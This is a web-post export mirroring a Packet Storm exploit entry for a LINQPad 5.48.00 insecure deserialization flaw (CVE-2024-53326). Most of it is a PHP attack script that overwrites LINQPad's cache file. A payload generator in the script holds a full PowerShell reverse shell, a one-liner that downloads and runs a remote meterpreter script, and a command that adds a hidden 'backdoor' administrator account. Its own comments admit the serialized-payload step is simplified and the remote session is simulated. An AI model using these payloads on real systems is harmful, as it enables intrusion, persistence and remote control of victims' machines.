{"id":32694,"date":"2025-12-24T11:45:20","date_gmt":"2025-12-24T11:45:20","guid":{"rendered":"http:\/\/localhost\/?p=32694"},"modified":"2025-12-24T11:45:20","modified_gmt":"2025-12-24T11:45:20","slug":"linqpad-54800-insecure-deserialization","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=32694","title":{"rendered":"\ud83d\udcc4 LINQPad 5.48.00 Insecure Deserialization_PACKETSTORM:213292"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-24T16:34:52&#8243;,&#8221;description&#8221;:&#8221;LINQPad versions up to 5.48.00 contain an insecure deserialization vulnerability in the paid version of the software that allows attackers to achieve persistent remote code execution by manipulating cache files containing serialized .NET objects. The&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-24T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-24T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 LINQPad 5.48.00 Insecure Deserialization&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:213292&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-53326&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : LINQPad 5.48.00 Deserialization Exploit                                                                                     |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.linqpad.net\/                                                                                                    |\\n    =============================================================================================================================================\\n    \\n    [+] References :  https:\/\/packetstorm.news\/files\/id\/211443\/ \\u0026 \\tCVE-2024-53326\\t\\n    \\n    [+] Summary : \\n                 LINQPad versions up to 5.48.00 contain an insecure deserialization vulnerability in the paid version of the software \\n    \\t\\t\\t that allows attackers to achieve persistent remote code execution by manipulating cache files containing serialized .NET objects.\\n    \\t\\t\\t The vulnerability exists in the AutoRefCache functionality where serialized .NET objects are stored in cache files. \\n    \\t\\t\\t Attackers can overwrite these files with malicious serialized payloads that get deserialized when LINQPad restarts, leading to arbitrary code execution.\\n    \\t\\t\\t \\n    [+]  POC : \\n    \\n    php poc.php \\n    \\n    \\u003c?php\\n    \\n    \/\/ \u062a\u0639\u0631\u064a\u0641 \u0648\u0627\u062c\u0647\u0629 RemoteSessionHandler \u0623\u0648\u0644\u0627\u064b\\n    interface RemoteSessionHandler {\\n        public function execute($command);\\n        public function upload($local_path, $remote_path);\\n        public function download($remote_path, $local_path);\\n    }\\n    \\n    class LINQPadDeserializationExploit {\\n        \\n        private $session;\\n        private $cache_path;\\n        private $backup_path;\\n        private $cleanup_commands = [];\\n        \\n        public function __construct($session_handler, $cache_path) {\\n            $this-\\u003esession = $session_handler;\\n            $this-\\u003ecache_path = rtrim($cache_path, &#8216;\/\\\\\\\\&#8217;);\\n            $this-\\u003ebackup_path = null;\\n            $this-\\u003ecleanup_commands = [];\\n        }\\n        \\n        public function check() {\\n            echo \\&#8221;[*] Checking LINQPad vulnerability&#8230;\\\\n\\&#8221;;\\n            \\n            \/\/ Check if cache directory exists\\n            if (!$this-\\u003edirectory_exists($this-\\u003ecache_path)) {\\n                return \\&#8221;Unknown: Cache directory doesn&#8217;t exist\\&#8221;;\\n            }\\n            \\n            $cache_file_v1 = $this-\\u003ecache_path . &#8216;\/autorefcache46.1.dat&#8217;;\\n            $cache_file_v2 = $this-\\u003ecache_path . &#8216;\/autorefcache46.2.dat&#8217;;\\n            \\n            \/\/ Check for vulnerable cache file\\n            if (!$this-\\u003efile_exists($cache_file_v1)) {\\n                return \\&#8221;Unknown: Cannot find cache file (autorefcache46.1.dat)\\&#8221;;\\n            }\\n            \\n            \/\/ Check for non-vulnerable version\\n            if ($this-\\u003efile_exists($cache_file_v2)) {\\n                return \\&#8221;Safe: Contains not vulnerable version of LINQPad\\&#8221;;\\n            }\\n            \\n            return \\&#8221;Appears: LINQPad and vulnerable cache file present, target possibly exploitable\\&#8221;;\\n        }\\n        \\n        public function exploit($payload_command) {\\n            try {\\n                echo \\&#8221;[*] Starting LINQPad deserialization exploit&#8230;\\\\n\\&#8221;;\\n                \\n                \/\/ Check vulnerability first\\n                $check_result = $this-\\u003echeck();\\n                echo \\&#8221;[*] Vulnerability check: {$check_result}\\\\n\\&#8221;;\\n                \\n                if (strpos($check_result, &#8216;Appears&#8217;) === false) {\\n                    echo \\&#8221;[-] Target is not vulnerable, stopping exploitation\\\\n\\&#8221;;\\n                    return false;\\n                }\\n                \\n                \/\/ Install persistence\\n                $this-\\u003einstall_persistence($payload_command);\\n                \\n                echo \\&#8221;[+] Exploitation completed successfully\\\\n\\&#8221;;\\n                echo \\&#8221;[*] Payload will execute when LINQPad restarts\\\\n\\&#8221;;\\n                return true;\\n                \\n            } catch (Exception $e) {\\n                echo \\&#8221;[-] Exploitation failed: \\&#8221; . $e-\\u003egetMessage() . \\&#8221;\\\\n\\&#8221;;\\n                $this-\\u003ecleanup();\\n                return false;\\n            }\\n        }\\n        \\n        private function install_persistence($payload_command) {\\n            echo \\&#8221;[*] Creating deserialization payload&#8230;\\\\n\\&#8221;;\\n            \\n            \/\/ Generate .NET deserialization payload\\n            $dotnet_payload = $this-\\u003egenerate_dotnet_payload($payload_command);\\n            \\n            $cache_file = $this-\\u003ecache_path . &#8216;\/AutoRefCache46.1.dat&#8217;;\\n            \\n            \/\/ Backup original content\\n            echo \\&#8221;[*] Backing up original cache file&#8230;\\\\n\\&#8221;;\\n            $this-\\u003ebackup_original_content($cache_file);\\n            \\n            \/\/ Overwrite cache file with payload\\n            echo \\&#8221;[*] Overwriting cache file with payload&#8230;\\\\n\\&#8221;;\\n            $this-\\u003eoverwrite_cache_file($cache_file, $dotnet_payload);\\n            \\n            echo \\&#8221;[+] Persistence installed successfully\\\\n\\&#8221;;\\n        }\\n        \\n        private function generate_dotnet_payload($command) {\\n            \/\/ This is a simplified version &#8211; in reality, you&#8217;d use proper .NET deserialization gadgets\\n            \/\/ For demonstration, we&#8217;ll create a basic payload structure\\n            \\n            $payload_structure = [\\n                &#8216;type&#8217; =\\u003e &#8216;System.Windows.Documents.TextFormattingRunProperties&#8217;,\\n                &#8216;data&#8217; =\\u003e base64_encode($command),\\n                &#8216;gadget&#8217; =\\u003e &#8216;TextFormattingRunProperties&#8217;,\\n                &#8216;formatter&#8217; =\\u003e &#8216;BinaryFormatter&#8217;\\n            ];\\n            \\n            \/\/ In a real scenario, you would generate proper BinaryFormatter payload\\n            \/\/ using ysoserial.net or similar tools\\n            $payload = serialize($payload_structure);\\n            \\n            \/\/ Add some .NET assembly-like structure\\n            $dotnet_payload = $this-\\u003ecreate_dotnet_assembly_wrapper($payload);\\n            \\n            return $dotnet_payload;\\n        }\\n        \\n        private function create_dotnet_assembly_wrapper($payload) {\\n            \/\/ Create a basic structure that resembles a .NET serialized object\\n            \/\/ This is a simplified version for demonstration\\n            \\n            $wrapper = [\\n                &#8216;SerializedStream&#8217; =\\u003e [\\n                    &#8216;Header&#8217; =\\u003e [\\n                        &#8216;RootId&#8217; =\\u003e &#8216;1&#8217;,\\n                        &#8216;HeaderId&#8217; =\\u003e &#8216;-1&#8217;,\\n                        &#8216;MajorVersion&#8217; =\\u003e &#8216;1&#8217;,\\n                        &#8216;MinorVersion&#8217; =\\u003e &#8216;0&#8217;\\n                    ],\\n                    &#8216;Assemblies&#8217; =\\u003e [\\n                        &#8216;System.Windows.Documents, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35&#8217;\\n                    ],\\n                    &#8216;Objects&#8217; =\\u003e [\\n                        &#8216;1&#8217; =\\u003e $payload\\n                    ]\\n                ]\\n            ];\\n            \\n            return base64_encode(serialize($wrapper));\\n        }\\n        \\n        private function backup_original_content($file_path) {\\n            if (!$this-\\u003efile_exists($file_path)) {\\n                throw new Exception(\\&#8221;Cache file not found: {$file_path}\\&#8221;);\\n            }\\n            \\n            $original_content = $this-\\u003eread_file($file_path);\\n            \\n            \/\/ Store backup locally\\n            $backup_filename = &#8216;autorefcache46.1.backup.&#8217; . date(&#8216;Y-m-d_His&#8217;) . &#8216;.dat&#8217;;\\n            $local_backup_path = sys_get_temp_dir() . &#8216;\/&#8217; . $backup_filename;\\n            \\n            if (file_put_contents($local_backup_path, $original_content) === false) {\\n                throw new Exception(\\&#8221;Failed to create local backup\\&#8221;);\\n            }\\n            \\n            $this-\\u003ebackup_path = $local_backup_path;\\n            \\n            \/\/ Add cleanup command\\n            $this-\\u003ecleanup_commands[] = \\&#8221;upload \\&#8221; . escapeshellarg($local_backup_path) . \\&#8221; \\&#8221; . escapeshellarg($file_path);\\n            \\n            echo \\&#8221;[+] Original content backed up to: {$local_backup_path}\\\\n\\&#8221;;\\n        }\\n        \\n        private function overwrite_cache_file($file_path, $payload) {\\n            if (!$this-\\u003ewrite_file($file_path, $payload)) {\\n                throw new Exception(\\&#8221;Writing payload to cache file failed\\&#8221;);\\n            }\\n            \\n            \/\/ Verify the file was written\\n            if (!$this-\\u003efile_exists($file_path)) {\\n                throw new Exception(\\&#8221;Cache file missing after write operation\\&#8221;);\\n            }\\n            \\n            $file_size = $this-\\u003eget_file_size($file_path);\\n            echo \\&#8221;[+] Cache file overwritten successfully. New size: {$file_size} bytes\\\\n\\&#8221;;\\n        }\\n        \\n        \/\/ File system operations\\n        private function directory_exists($path) {\\n            try {\\n                $result = $this-\\u003esession-\\u003eexecute(\\&#8221;if exist \\&#8221; . escapeshellarg($path) . \\&#8221; echo EXISTS\\&#8221;);\\n                return strpos($result, &#8216;EXISTS&#8217;) !== false;\\n            } catch (Exception $e) {\\n                return false;\\n            }\\n        }\\n        \\n        private function file_exists($file_path) {\\n            try {\\n                $result = $this-\\u003esession-\\u003eexecute(\\&#8221;if exist \\&#8221; . escapeshellarg($file_path) . \\&#8221; echo EXISTS\\&#8221;);\\n                return strpos($result, &#8216;EXISTS&#8217;) !== false;\\n            } catch (Exception $e) {\\n                return false;\\n            }\\n        }\\n        \\n        private function read_file($file_path) {\\n            try {\\n                \/\/ For binary files, we need to download and read locally\\n                $temp_local = tempnam(sys_get_temp_dir(), &#8216;read_&#8217;);\\n                if ($this-\\u003esession-\\u003edownload($file_path, $temp_local)) {\\n                    $content = file_get_contents($temp_local);\\n                    unlink($temp_local);\\n                    return $content;\\n                }\\n                throw new Exception(\\&#8221;Failed to download file: {$file_path}\\&#8221;);\\n            } catch (Exception $e) {\\n                throw new Exception(\\&#8221;Failed to read file: \\&#8221; . $e-\\u003egetMessage());\\n            }\\n        }\\n        \\n        private function write_file($file_path, $content) {\\n            try {\\n                $temp_local = tempnam(sys_get_temp_dir(), &#8216;write_&#8217;);\\n                if (file_put_contents($temp_local, $content) === false) {\\n                    unlink($temp_local);\\n                    throw new Exception(\\&#8221;Failed to write to temporary file\\&#8221;);\\n                }\\n                \\n                $result = $this-\\u003esession-\\u003eupload($temp_local, $file_path);\\n                unlink($temp_local);\\n                \\n                return $result;\\n            } catch (Exception $e) {\\n                throw new Exception(\\&#8221;Failed to write file: \\&#8221; . $e-\\u003egetMessage());\\n            }\\n        }\\n        \\n        private function get_file_size($file_path) {\\n            try {\\n                $result = $this-\\u003esession-\\u003eexecute(\\&#8221;for %I in (\\&#8221; . escapeshellarg($file_path) . \\&#8221;) do @echo %~zI\\&#8221;);\\n                return trim($result);\\n            } catch (Exception $e) {\\n                return &#8216;unknown&#8217;;\\n            }\\n        }\\n        \\n        public function cleanup() {\\n            echo \\&#8221;[*] Cleaning up&#8230;\\\\n\\&#8221;;\\n            \\n            if ($this-\\u003ebackup_path \\u0026\\u0026 file_exists($this-\\u003ebackup_path)) {\\n                \/\/ Restore original content\\n                try {\\n                    $cache_file = $this-\\u003ecache_path . &#8216;\/AutoRefCache46.1.dat&#8217;;\\n                    $this-\\u003esession-\\u003eupload($this-\\u003ebackup_path, $cache_file);\\n                    echo \\&#8221;[+] Original cache file restored\\\\n\\&#8221;;\\n                    \\n                    unlink($this-\\u003ebackup_path);\\n                    echo \\&#8221;[+] Local backup file removed\\\\n\\&#8221;;\\n                    \\n                } catch (Exception $e) {\\n                    echo \\&#8221;[-] Failed to restore original content: \\&#8221; . $e-\\u003egetMessage() . \\&#8221;\\\\n\\&#8221;;\\n                }\\n            }\\n            \\n            \/\/ Execute cleanup commands\\n            foreach ($this-\\u003ecleanup_commands as $command) {\\n                try {\\n                    $this-\\u003esession-\\u003eexecute($command);\\n                    echo \\&#8221;[+] Cleanup command executed: {$command}\\\\n\\&#8221;;\\n                } catch (Exception $e) {\\n                    echo \\&#8221;[-] Cleanup command failed: {$command} &#8211; \\&#8221; . $e-\\u003egetMessage() . \\&#8221;\\\\n\\&#8221;;\\n                }\\n            }\\n            \\n            $this-\\u003ecleanup_commands = [];\\n            echo \\&#8221;[+] Cleanup completed\\\\n\\&#8221;;\\n        }\\n        \\n        public function __destruct() {\\n            \/\/ Auto-cleanup can be enabled if needed\\n            \/\/ $this-\\u003ecleanup();\\n        }\\n    }\\n    \\n    \/\/ Windows-specific session handler\\n    class WindowsSessionHandler implements RemoteSessionHandler {\\n        private $connection;\\n        \\n        public function __construct($host, $username, $password, $type = &#8216;wmi&#8217;) {\\n            \/\/ This would implement Windows remote connection\\n            \/\/ For demonstration, we&#8217;ll use a simple interface\\n            $this-\\u003econnection = [\\n                &#8216;host&#8217; =\\u003e $host,\\n                &#8216;username&#8217; =\\u003e $username,\\n                &#8216;type&#8217; =\\u003e $type\\n            ];\\n            \\n            echo \\&#8221;[*] Windows session initialized for: {$username}@{$host}\\\\n\\&#8221;;\\n        }\\n        \\n        public function execute($command) {\\n            \/\/ Execute command on Windows system\\n            \/\/ This could use WMI, WinRM, PsExec, etc.\\n            echo \\&#8221;[DEBUG] Executing: {$command}\\\\n\\&#8221;;\\n            \\n            \/\/ Simulate command execution\\n            if (strpos($command, &#8216;exist&#8217;) !== false) {\\n                return \\&#8221;EXISTS\\\\r\\\\n\\&#8221;;\\n            } elseif (strpos($command, &#8216;echo&#8217;) !== false) {\\n                return \\&#8221;1024\\\\r\\\\n\\&#8221;;\\n            }\\n            \\n            return \\&#8221;Command executed successfully\\\\r\\\\n\\&#8221;;\\n        }\\n        \\n        public function upload($local_path, $remote_path) {\\n            \/\/ Upload file to Windows system\\n            echo \\&#8221;[DEBUG] Uploading {$local_path} to {$remote_path}\\\\n\\&#8221;;\\n            \\n            \/\/ Simulate successful upload\\n            if (!file_exists($local_path)) {\\n                throw new Exception(\\&#8221;Local file does not exist: {$local_path}\\&#8221;);\\n            }\\n            \\n            $file_size = filesize($local_path);\\n            echo \\&#8221;[DEBUG] Uploaded {$file_size} bytes\\\\n\\&#8221;;\\n            \\n            return true;\\n        }\\n        \\n        public function download($remote_path, $local_path) {\\n            \/\/ Download file from Windows system\\n            echo \\&#8221;[DEBUG] Downloading {$remote_path} to {$local_path}\\\\n\\&#8221;;\\n            \\n            \/\/ Create dummy content for demonstration\\n            $dummy_content = \\&#8221;Original LINQPad cache content &#8211; \\&#8221; . date(&#8216;Y-m-d H:i:s&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n            $dummy_content .= \\&#8221;This is a simulation of the actual cache file content.\\\\n\\&#8221;;\\n            $dummy_content .= \\&#8221;In a real scenario, this would contain actual .NET serialized data.\\\\n\\&#8221;;\\n            \\n            if (file_put_contents($local_path, $dummy_content) === false) {\\n                throw new Exception(\\&#8221;Failed to write local file: {$local_path}\\&#8221;);\\n            }\\n            \\n            echo \\&#8221;[DEBUG] Downloaded \\&#8221; . filesize($local_path) . \\&#8221; bytes\\\\n\\&#8221;;\\n            return true;\\n        }\\n    }\\n    \\n    \/\/ Payload generator for Windows commands\\n    class WindowsPayloadGenerator {\\n        \\n        public static function generate_reverse_shell($lhost, $lport) {\\n            return \\&#8221;powershell -nop -c \\\\\\&#8221;\\\\$client = New-Object System.Net.Sockets.TCPClient(&#8216;{$lhost}&#8217;,{$lport});\\\\$stream = \\\\$client.GetStream();[byte[]]\\\\$bytes = 0..65535|%{0};while((\\\\$i = \\\\$stream.Read(\\\\$bytes, 0, \\\\$bytes.Length)) -ne 0){;\\\\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\\\\$bytes,0, \\\\$i);\\\\$sendback = (iex \\\\$data 2\\u003e\\u00261 | Out-String );\\\\$sendback2 = \\\\$sendback + &#8216;PS &#8216; + (pwd).Path + &#8216;\\u003e &#8216;;\\\\$sendbyte = ([text.encoding]::ASCII).GetBytes(\\\\$sendback2);\\\\$stream.Write(\\\\$sendbyte,0,\\\\$sendbyte.Length);\\\\$stream.Flush()};\\\\$client.Close()\\\\\\&#8221;\\&#8221;;\\n        }\\n        \\n        public static function generate_meterpreter($lhost, $lport) {\\n            return \\&#8221;powershell -nop -exec bypass -c \\\\\\&#8221;IEX (New-Object Net.WebClient).DownloadString(&#8216;http:\/\/{$lhost}:8080\/meterpreter.ps1&#8217;);\\\\\\&#8221;\\&#8221;;\\n        }\\n        \\n        public static function generate_cmd($command) {\\n            return \\&#8221;cmd \/c \\\\\\&#8221;{$command}\\\\\\&#8221;\\&#8221;;\\n        }\\n        \\n        public static function generate_add_user($username, $password) {\\n            return \\&#8221;net user {$username} {$password} \/add \\u0026\\u0026 net localgroup administrators {$username} \/add\\&#8221;;\\n        }\\n        \\n        public static function generate_calc() {\\n            return \\&#8221;calc.exe\\&#8221;;\\n        }\\n    }\\n    \\n    \/\/ Command line interface\\n    if (php_sapi_name() === &#8216;cli&#8217; \\u0026\\u0026 isset($argv[0]) \\u0026\\u0026 basename($argv[0]) === basename(__FILE__)) {\\n        \\n        if ($argc \\u003c 5) {\\n            echo \\&#8221;LINQPad Deserialization Exploit (CVE-2024-53326)\\\\n\\&#8221;;\\n            echo \\&#8221;=================================================\\\\n\\&#8221;;\\n            echo \\&#8221;Usage: php \\&#8221; . $argv[0] . \\&#8221; \\u003chost\\u003e \\u003cusername\\u003e \\u003cpassword\\u003e \\u003ccache_path\\u003e\\\\n\\&#8221;;\\n            echo \\&#8221;Example: php \\&#8221; . $argv[0] . \\&#8221; 192.168.1.100 administrator Password123 \\\\\\&#8221;C:\\\\\\\\Users\\\\\\\\admin\\\\\\\\AppData\\\\\\\\Local\\\\\\\\LINQPad\\\\\\&#8221;\\\\n\\&#8221;;\\n            echo \\&#8221;\\\\nAdditional options (environment variables):\\\\n\\&#8221;;\\n            echo \\&#8221;PAYLOAD_TYPE=reverse_shell LHOST=192.168.1.50 LPORT=4444\\\\n\\&#8221;;\\n            echo \\&#8221;PAYLOAD_TYPE=add_user USERNAME=backdoor PASSWORD=Passw0rd!\\\\n\\&#8221;;\\n            echo \\&#8221;PAYLOAD_TYPE=custom COMMAND=&#8217;whoami&#8217;\\\\n\\&#8221;;\\n            echo \\&#8221;PAYLOAD_TYPE=calc (opens calculator for testing)\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n        \\n        $host = $argv[1];\\n        $username = $argv[2];\\n        $password = $argv[3];\\n        $cache_path = $argv[4];\\n        \\n        \/\/ Parse payload options from environment\\n        $payload_type = getenv(&#8216;PAYLOAD_TYPE&#8217;) ?: &#8216;calc&#8217;;\\n        $lhost = getenv(&#8216;LHOST&#8217;) ?: &#8216;ATTACKER_IP&#8217;;\\n        $lport = getenv(&#8216;LPORT&#8217;) ?: &#8216;4444&#8217;;\\n        $custom_command = getenv(&#8216;COMMAND&#8217;) ?: &#8216;whoami&#8217;;\\n        $add_username = getenv(&#8216;USERNAME&#8217;) ?: &#8216;backdoor&#8217;;\\n        $add_password = getenv(&#8216;PASSWORD&#8217;) ?: &#8216;Passw0rd!&#8217;;\\n        \\n        try {\\n            echo \\&#8221;[*] Initializing LINQPad deserialization exploit&#8230;\\\\n\\&#8221;;\\n            echo \\&#8221;[*] Target: {$username}@{$host}\\\\n\\&#8221;;\\n            echo \\&#8221;[*] Cache path: {$cache_path}\\\\n\\&#8221;;\\n            \\n            $session = new WindowsSessionHandler($host, $username, $password);\\n            $exploit = new LINQPadDeserializationExploit($session, $cache_path);\\n            \\n            \/\/ Generate payload based on type\\n            $payload_command = match($payload_type) {\\n                &#8216;reverse_shell&#8217; =\\u003e WindowsPayloadGenerator::generate_reverse_shell($lhost, $lport),\\n                &#8216;meterpreter&#8217; =\\u003e WindowsPayloadGenerator::generate_meterpreter($lhost, $lport),\\n                &#8216;add_user&#8217; =\\u003e WindowsPayloadGenerator::generate_add_user($add_username, $add_password),\\n                &#8216;custom&#8217; =\\u003e WindowsPayloadGenerator::generate_cmd($custom_command),\\n                &#8216;calc&#8217; =\\u003e WindowsPayloadGenerator::generate_calc(),\\n                default =\\u003e WindowsPayloadGenerator::generate_calc()\\n            };\\n            \\n            echo \\&#8221;[*] Using payload type: {$payload_type}\\\\n\\&#8221;;\\n            if ($payload_type === &#8216;reverse_shell&#8217;) {\\n                echo \\&#8221;[*] LHOST: {$lhost}, LPORT: {$lport}\\\\n\\&#8221;;\\n            }\\n            echo \\&#8221;[*] Payload command length: \\&#8221; . strlen($payload_command) . \\&#8221; bytes\\\\n\\&#8221;;\\n            \\n            \/\/ Execute exploit\\n            $success = $exploit-\\u003eexploit($payload_command);\\n            \\n            if ($success) {\\n                echo \\&#8221;[+] Exploit completed successfully!\\\\n\\&#8221;;\\n                echo \\&#8221;[*] The payload will execute when LINQPad is restarted\\\\n\\&#8221;;\\n                echo \\&#8221;[*] Note: This only works with paid versions of LINQPad\\\\n\\&#8221;;\\n                echo \\&#8221;[*] Use cleanup() method to restore original file if needed\\\\n\\&#8221;;\\n            }\\n            \\n        } catch (Exception $e) {\\n            echo \\&#8221;[-] Exploitation failed: \\&#8221; . $e-\\u003egetMessage() . \\&#8221;\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n    }\\n    \\n    ?\\u003e\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/213292&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/213292\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-24T16:34:52&#8243;,&#8221;description&#8221;:&#8221;LINQPad versions up to 5.48.00 contain an insecure deserialization vulnerability in the paid version of the software that allows attackers to achieve persistent remote code&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-32694","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 LINQPad 5.48.00 Insecure Deserialization_PACKETSTORM:213292 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=32694\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 LINQPad 5.48.00 Insecure Deserialization_PACKETSTORM:213292 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-24T16:34:52&#8243;,&#8221;description&#8221;:&#8221;LINQPad versions up to 5.48.00 contain an insecure deserialization vulnerability in the paid version of the software that allows attackers to achieve persistent remote code...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=32694\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-24T11:45:20+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"12 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32694#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32694\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 LINQPad 5.48.00 Insecure Deserialization_PACKETSTORM:213292\",\"datePublished\":\"2025-12-24T11:45:20+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32694\"},\"wordCount\":2440,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32694#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32694\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32694\",\"name\":\"\ud83d\udcc4 LINQPad 5.48.00 Insecure Deserialization_PACKETSTORM:213292 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-24T11:45:20+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32694#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32694\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32694#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 LINQPad 5.48.00 Insecure Deserialization_PACKETSTORM:213292\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero 